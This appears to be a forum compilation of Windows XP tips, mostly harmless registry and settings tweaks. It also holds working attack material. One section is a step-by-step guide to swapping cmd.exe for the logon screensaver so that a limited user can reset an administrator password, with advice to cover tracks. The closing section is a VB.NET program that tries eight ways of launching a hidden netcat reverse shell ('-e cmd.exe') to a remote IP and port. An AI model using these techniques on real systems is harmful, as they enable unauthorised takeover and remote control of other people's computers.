QUOTE

1. The Tutorials have to be of a bare minimum length of 500 words to be accepted.

CODE

attrib +r +a +s +h hidden.doc

QUOTE

WINDOWS TIPS COLLECTION
How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

QUOTE (Brian)

Well I was wondering, this is a nice way to get around it being blocked, but is there a way to block some of these techniques as well?

Because when you block the command prompt for security reasons or whatever, it would be nice if it was actually blocked in all ways. So if somebody knows how to block these attempts I think it would be good for all to know.

Also, just as a side note, doesn't this belong more in the security & exploits area?
Link: view Post: 104071

QUOTE

You've read the reviews and digested the key feature enhancements and operational changes. Now it's time to delve a bit deeper and uncover some of Windows XP's secrets..

1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

CODE

Option Strict On
Option Explicit On

Imports System
Imports System.Runtime.InteropServices
Imports System.Security.Principal
Imports System.Security.Permissions
Imports System.Threading

<Assembly: SecurityPermissionAttribute(SecurityAction.RequestMinimum, UnmanagedCode:=True), _
Assembly: PermissionSetAttribute(SecurityAction.RequestMinimum, Name:="FullTrust")>
Module raex

Dim strUser As String = Nothing
Dim strPassword As String = Nothing
Dim strServer As String = "192.168.1.109"
Dim strPort As String = "2000"
Dim strApplication As String = Nothing

#Region "Const"

Const LOGON32_LOGON_INTERACTIVE As Integer = 2
Const LOGON32_PROVIDER_DEFAULT As Integer = 0
Const WINSTA_ALL_ACCESS As Integer = &H37F
Const READ_CONTROL As Integer = &H20000
Const WRITE_DAC As Integer = &H40000
Const DESKTOP_WRITEOBJECTS As Integer = &H80
Const DESKTOP_READOBJECTS As Integer = &H1
Const GENERIC_ALL As Integer = &H10000000
Const MAXIMUM_ALLOWED As Integer = &H2000000
Const SECURITY_IMPERSONATION As Integer = 2
Const TOKEN_PRIMARY As Integer = 1
Const LOGON_NETCREDENTIALS_ONLY As Integer = &H1&
Const CREATE_DEFAULT_ERROR_MODE As Integer = &H4000000

#End Region

#Region "Structures"

Public Structure PROCESS_INFO
Public hProcess As IntPtr
Public hThread As IntPtr
Public dwProcessId As Integer
Public dwThreadId As Integer
End Structure

Public Structure STARTUP_INFO
Public cb As Integer
Public lpReserved As Integer
<MarshalAs(UnmanagedType.LPTStr)> Public lpDesktop As String
<MarshalAs(UnmanagedType.LPTStr)> Public lpTitle As String
Public dwX As Long
Public dwY As Integer
Public dwXSize As Integer
Public dwYSize As Integer
Public dwXCountChars As Integer
Public dwYCountChars As Integer
Public dwFillAttribute As Integer
Public dwFlags As Integer
Public wShowWindow As Short
Public cbReserved2 As Short
Public lpReserved2 As Integer
Public hStdInput As Integer
Public hStdOutput As Integer
Public hStdError As Integer
End Structure

Public Structure SECURITY_ATTRIBUTES
Public nLength As Integer
Public lpSecurityDescriptor As IntPtr
Public bInheritHandle As Boolean
End Structure

#End Region

#Region "API Imports"

<DllImport("C:\\Windows\\System32\\advapi32.dll")> _
Public Function CreateProcessWithLogonW(<MarshalAs(UnmanagedType.LPWStr)> ByVal lpUsername As String, _
<MarshalAs(UnmanagedType.LPWStr)> ByVal lpDomain As String, _
<MarshalAs(UnmanagedType.LPWStr)> ByVal lpPassword As String, _
ByVal dwLogonFlags As Integer, _
<MarshalAs(UnmanagedType.LPWStr)> ByVal lpApplicationName As String, _
<MarshalAs(UnmanagedType.LPWStr)> ByVal lpCommandLine As String, _
ByVal lpCreationFlags As Integer, _
ByVal lpVoid As Integer, _
<MarshalAs(UnmanagedType.LPWStr)> ByVal lpCurrentDirectory As String, _
ByRef lpStartupInfo As STARTUP_INFO, _
ByRef lpProcessInfo As PROCESS_INFO) As Integer
End Function

<DllImport("C:\\Windows\\System32\\advapi32.dll")> _
Public Function LogonUser(ByVal lpUsername As String, _
ByVal lpDomain As String, _
ByVal lpPassword As String, _
ByVal dwLogonType As Integer, _
ByVal dwLogonProvider As Integer, _
ByRef pToken As IntPtr) As Boolean
End Function
<DllImport("C:\\Windows\\System32\\user32.dll", SetLastError:=True)> _
Public Function GetProcessWindowStation() As IntPtr
End Function


<DllImport("C:\\Windows\\System32\\user32.dll", SetLastError:=True)> _
Public Function OpenWindowStation(ByVal lpszWinSta As String, _
ByVal fInherit As Boolean, _
ByVal dwDesiredAccess As UInteger) As IntPtr
End Function

<DllImport("C:\\Windows\\System32\\user32.dll", SetLastError:=True)> _
Public Function SetProcessWindowStation(ByVal hWinSta As IntPtr) As Boolean
End Function

<DllImport("C:\\Windows\\System32\\user32.dll", SetLastError:=True)> _
Public Function OpenDesktop(ByVal lpszDesktop As String, _
ByVal dwFlags As Integer, _
ByVal fInherit As Boolean, _
ByVal dwDesiredAccess As UInteger) As IntPtr
End Function

<DllImport("C:\\Windows\\System32\\advapi32.dll", SetLastError:=True)> _
Public Function ImpersonateLoggedOnUser(ByVal hToken As IntPtr) As Boolean
End Function

<DllImport("C:\\Windows\\System32\\advapi32.dll", SetLastError:=True)> _
Public Function CreateProcessAsUser(ByVal pToken As IntPtr, _
ByVal lpApplicationName As String, _
ByRef lpCommandLine As String, _
ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Boolean, _
ByVal dwCreationFlags As Integer, _
ByRef lpEnvironment As IntPtr, _
ByVal lpCurrentDirectory As String, _
ByRef lpStartupInfo As STARTUP_INFO, _
ByRef lpProcessInfo As PROCESS_INFO) As Boolean
End Function

<DllImport("C:\\Windows\\System32\\advapi32.dll", SetLastError:=True)> _
Public Function CreateProcessAsUserW(ByVal pToken As IntPtr, _
ByVal lpApplicationName As String, _
ByRef lpCommandLine As String, _
ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Boolean, _
ByVal dwCreationFlags As Integer, _
ByRef lpEnvironment As IntPtr, _
ByVal lpCurrentDirectory As String, _
ByRef lpStartupInfo As STARTUP_INFO, _
ByRef lpProcessInfo As PROCESS_INFO) As Boolean
End Function

<DllImport("C:\\Windows\\System32\\advapi32.dll", SetLastError:=True)> _
Public Function DuplicateTokenEx(ByVal hExistingToken As IntPtr, _
ByVal dwDesiredAccess As UInteger, _
ByRef lpTokenAttributes As SECURITY_ATTRIBUTES, _
ByVal ImpersonationLevel As Integer, _
ByVal TokenType As Integer, _
ByRef phNewToken As IntPtr) As Boolean
End Function

#End Region

<PermissionSetAttribute(SecurityAction.Demand, Name:="FullTrust")> _
Sub Main()
Try
Dim bReturn As Boolean
Dim strNC As String = System.Environment.CurrentDirectory + "\nc.exe "
Dim strNCArgs As String = strServer + " " + strPort + " -e cmd.exe"
Dim strNotepad As String = "c:\windows\notepad.exe"

'token returned from LogonUser and CreateProcessAsUser
Dim pUserToken As IntPtr = IntPtr.Zero

'Security attributes struct
Dim pSecurityAttributes As SECURITY_ATTRIBUTES
pSecurityAttributes.bInheritHandle = True
pSecurityAttributes.nLength = Marshal.SizeOf(pSecurityAttributes)
pSecurityAttributes.lpSecurityDescriptor = IntPtr.Zero
'Start information struct
Dim pStartInfo As STARTUP_INFO = Nothing
pStartInfo.cb = Len(pStartInfo)
pStartInfo.lpTitle = ""
pStartInfo.dwFlags = 0&
pStartInfo.lpDesktop = "winsta0\default"
'Process information struct
Dim pProcessInfo As PROCESS_INFO
'Enviroment variable
Dim pEnviroment As IntPtr = IntPtr.Zero

'Method 1 - Use the built in .NET process class no user
startProcessNoUser()

'method 2 - .NET with new 2.0 user and password
startProcess()

'method 3 - Windows API LogonUser and CreateProcessAsUser

bReturn = LogonUser("U3er", ".", "Pa33Word", LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, pUserToken)
System.Console.WriteLine("Method 3 LogonUser - " + CStr(Marshal.GetLastWin32Error()))
bReturn = CreateProcessAsUser(pUserToken, System.Environment.CurrentDirectory + "\nc.exe", strServer + " " + strPort + " -e cmd.exe", Nothing, Nothing, False, 0, Nothing, System.Environment.CurrentDirectory, pStartInfo, pProcessInfo)
System.Console.WriteLine("Method 3 CreateProcessAsUser - " + CStr(Marshal.GetLastWin32Error()))
System.Console.WriteLine()

'Method 4 - Same as 3 but add DuplicateTokenEx after LogonUser

'Primary token
Dim DupedToken As IntPtr = IntPtr.Zero

bReturn = LogonUser("U3er", ".", "Pa33Word", LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, pUserToken)
System.Console.WriteLine("Method 4 LogonUser - " + CStr(Marshal.GetLastWin32Error()))
bReturn = DuplicateTokenEx(pUserToken, MAXIMUM_ALLOWED, pSecurityAttributes, SECURITY_IMPERSONATION, TOKEN_PRIMARY, DupedToken)
System.Console.WriteLine("Method 4 DuplicateTokenEx - " + CStr(Marshal.GetLastWin32Error()))
bReturn = CreateProcessAsUser(pUserToken, strNC, strNCArgs, pSecurityAttributes, pSecurityAttributes, False, 0, Nothing, System.Environment.CurrentDirectory, pStartInfo, pProcessInfo)
System.Console.WriteLine("Method 4 CreateProcessAsUser - " + CStr(Marshal.GetLastWin32Error()))
System.Console.WriteLine()

'Method 5 - Same as 4 but use the unicode version of CreateProcessAsUser (CreateProcessAsUserW)
bReturn = LogonUser("U3er", ".", "Pa33Word", LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, pUserToken)
System.Console.WriteLine("Method 5 LogonUser - " + CStr(Marshal.GetLastWin32Error()))
bReturn = DuplicateTokenEx(pUserToken, MAXIMUM_ALLOWED, pSecurityAttributes, SECURITY_IMPERSONATION, TOKEN_PRIMARY, DupedToken)
System.Console.WriteLine("Method 5 DuplicateTokenEx - " + CStr(Marshal.GetLastWin32Error()))
bReturn = CreateProcessAsUserW(pUserToken, strNC, strNCArgs, pSecurityAttributes, pSecurityAttributes, False, 0, Nothing, System.Environment.CurrentDirectory, pStartInfo, pProcessInfo)
System.Console.WriteLine("Method 5 CreateProcessAsUserW - " + CStr(Marshal.GetLastWin32Error()))
System.Console.WriteLine()

'Method 6 - Use the API CreateProcessWithLogonW
Dim iReturn As Integer
iReturn = CreateProcessWithLogonW("U3er", System.Environment.MachineName, "Pa33Word", LOGON_NETCREDENTIALS_ONLY, Nothing, System.Environment.CurrentDirectory + strNC + " " + strNCArgs, CREATE_DEFAULT_ERROR_MODE, Nothing, System.Environment.CurrentDirectory, pStartInfo, pProcessInfo)
System.Console.WriteLine("Method 6 CreateProcessWithLogonW - " + CStr(Marshal.GetLastWin32Error()))
System.Console.WriteLine()

'Method 7 - APIs with everything but the kitchen thrown in
Dim hwinstaSave As IntPtr
Dim hwinsta As IntPtr
Dim hdesk As IntPtr

hwinstaSave = GetProcessWindowStation()
System.Console.WriteLine("Method 7 GetProcessWindowStation - " + CStr(Marshal.GetLastWin32Error()))
hwinsta = OpenWindowStation("winsta0", False, WINSTA_ALL_ACCESS)
System.Console.WriteLine("Method 7 OpenWindowStation - " + CStr(Marshal.GetLastWin32Error()))
SetProcessWindowStation(hwinsta)
System.Console.WriteLine("Method 7 SetProcessWindowStation - " + CStr(Marshal.GetLastWin32Error()))
hdesk = OpenDesktop("default", 0, False, READ_CONTROL And WRITE_DAC And DESKTOP_WRITEOBJECTS And DESKTOP_READOBJECTS)
System.Console.WriteLine("Method 7 OpenDesktop - " + CStr(Marshal.GetLastWin32Error()))
SetProcessWindowStation(hwinstaSave)
System.Console.WriteLine("Method 7 SetProcessWindowStation - " + CStr(Marshal.GetLastWin32Error()))

'use method 4
bReturn = LogonUser("U3er", ".", "Pa33Word", LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, pUserToken)
System.Console.WriteLine("Method 7 LogonUser - " + CStr(Marshal.GetLastWin32Error()))
bReturn = DuplicateTokenEx(pUserToken, MAXIMUM_ALLOWED, pSecurityAttributes, SECURITY_IMPERSONATION, TOKEN_PRIMARY, DupedToken)
System.Console.WriteLine("Method 7 DuplicateTokenEx - " + CStr(Marshal.GetLastWin32Error()))
bReturn = CreateProcessAsUser(pUserToken, strNC, strNCArgs, Nothing, Nothing, False, 0, Nothing, System.Environment.CurrentDirectory, pStartInfo, pProcessInfo)
System.Console.WriteLine("Method 7 CreateProcessAsUser - " + CStr(Marshal.GetLastWin32Error()))
System.Console.WriteLine()

'Method 8 - Use some crazy ideas from .NET to set impersonation

'get token from LogonUser API
bReturn = LogonUser("U3er", ".", "Pa33Word", LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, pUserToken)
System.Console.WriteLine("Method 8 LogonUser - " + CStr(Marshal.GetLastWin32Error()))
Dim newId As New WindowsIdentity(pUserToken)
Dim impersonatedUser As WindowsImpersonationContext = newId.Impersonate()
'Use method 1
startProcessNoUser()

Console.ReadKey()

Catch ex As Exception
Console.WriteLine(" Exception thrown " + ex.ToString)
End Try
End Sub


Public Sub startProcessNoUser()
Try
Dim p As New Process
p.StartInfo.Arguments = strServer + " " + strPort + " -e cmd.exe"
p.StartInfo.CreateNoWindow = True
p.StartInfo.ErrorDialog = False
p.StartInfo.FileName = System.Environment.CurrentDirectory + "\nc.exe"
p.StartInfo.UseShellExecute = False
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
p.StartInfo.RedirectStandardOutput = True
Console.WriteLine("Method 1 .NET No User - Command: " + p.StartInfo.FileName + " " + p.StartInfo.Arguments)
p.Start()
Catch ex As Exception
Console.WriteLine(ex.ToString)
End Try
End Sub

Public Sub startProcess()
Try
Dim p As New Process
p.StartInfo.UserName = "U3er"
Dim ssPass As New System.Security.SecureString
Dim c As Char
For Each c In "Pa33Word"
ssPass.AppendChar(c)
Next
p.StartInfo.Password = ssPass
p.StartInfo.Domain = System.Environment.MachineName
p.StartInfo.Arguments = strServer + " " + strPort + " -e cmd.exe"
p.StartInfo.CreateNoWindow = True
p.StartInfo.ErrorDialog = False
p.StartInfo.FileName = System.Environment.CurrentDirectory + "\nc.exe"
p.StartInfo.UseShellExecute = False
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
p.StartInfo.RedirectStandardOutput = True
Console.WriteLine("Method 1 .NET No User - User: " + p.StartInfo.Domain + "\" + p.StartInfo.UserName + " Command: " + p.StartInfo.FileName + " " + p.StartInfo.Arguments)
p.Start()
Catch ex As Exception
Console.WriteLine(ex.ToString)
End Try
End Sub

End Module